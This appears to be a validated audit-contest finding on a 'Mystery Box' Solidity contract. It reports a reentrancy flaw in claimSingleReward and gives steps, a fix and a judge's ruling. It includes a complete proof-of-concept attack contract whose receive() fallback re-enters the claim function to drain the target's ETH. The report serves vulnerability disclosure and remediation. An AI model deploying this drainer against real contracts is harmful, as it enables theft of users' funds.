Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

claimSingleReward is vulnerable to reentrency draining entire contract.

Summary

The contracts claimSingleReward is vulnerable to a reentrency attack that will drain the entire mysterybox balance in the contract.

Vulnerability Details

Steps to reproduce:

-Deploy magicbox with 50 ETH
-Change wallet address
-Deploy Exploit.sol
-Deposit 10 ETH into exploit.sol
-Call buyandopen function multiple times
-Check testGetRewards to see if your reward is at the end of the array
-Check findMostValuableValue to validate
-Call Attack for Reentrency attack (Depending on reward size you may have to increase gas)
-Check balance of both contracts

(if the transaction was successful mysterybox balance will be zero and exploit will contain all of the holdings)

Remix POC:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IMysteryBox {
struct Reward {
string name;
uint256 value;
}
function boxPrice() external view returns (uint256);
function buyBox() external payable;
function openBox() external;
function getRewards() external view returns (Reward[] memory);
function claimSingleReward(uint256 _index) external;
}
contract Exploit2 {
IMysteryBox public mysteryBox;
uint256 public attackIndex;
string public lastError;
constructor(address _mysteryBoxAddress) {
mysteryBox = IMysteryBox(_mysteryBoxAddress);
}
function deposit() external payable {
// This function allows depositing Ether into the contract
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
function testGetRewards() external view returns (IMysteryBox.Reward[] memory) {
return mysteryBox.getRewards();
}
function buyAndOpenBox() public {
require(address(this).balance >= mysteryBox.boxPrice(), "Not enough balance");
mysteryBox.buyBox{value: mysteryBox.boxPrice()}();
mysteryBox.openBox();
}
function findMostValuableReward() public returns (bool) {
IMysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
uint256 maxValue = 0;
bool foundValuable = false;
for (uint256 i = 0; i < rewards.length; i++) {
if (rewards[i].value > maxValue) {
maxValue = rewards[i].value;
attackIndex = i;
foundValuable = true;
}
}
return foundValuable;
}
function attack() external {
buyAndOpenBox();
bool found = findMostValuableReward();
require(found, "No valuable reward found");
// Attempt to claim the reward
mysteryBox.claimSingleReward(attackIndex);
}
// Fallback function to receive Ether
receive() external payable {
if (address(mysteryBox).balance > 0) {
mysteryBox.claimSingleReward(attackIndex);
}
}
// Debug function to get the last error
function getLastError() external view returns (string memory) {
return lastError;
}
}

Impact

Total contract value loss.

Loss of customer funds.

Loss of public trust.

Tools Used

Remix IDE Desktop

Recommendations

Create a new variable to store the reward values.
Reset the the users reward values
Send the reward.
If transaction fails or reverts then rewrite the rewards values from the new variable to the old one.

The issue is a product of sending before changing the state.

Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimSingleReward` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!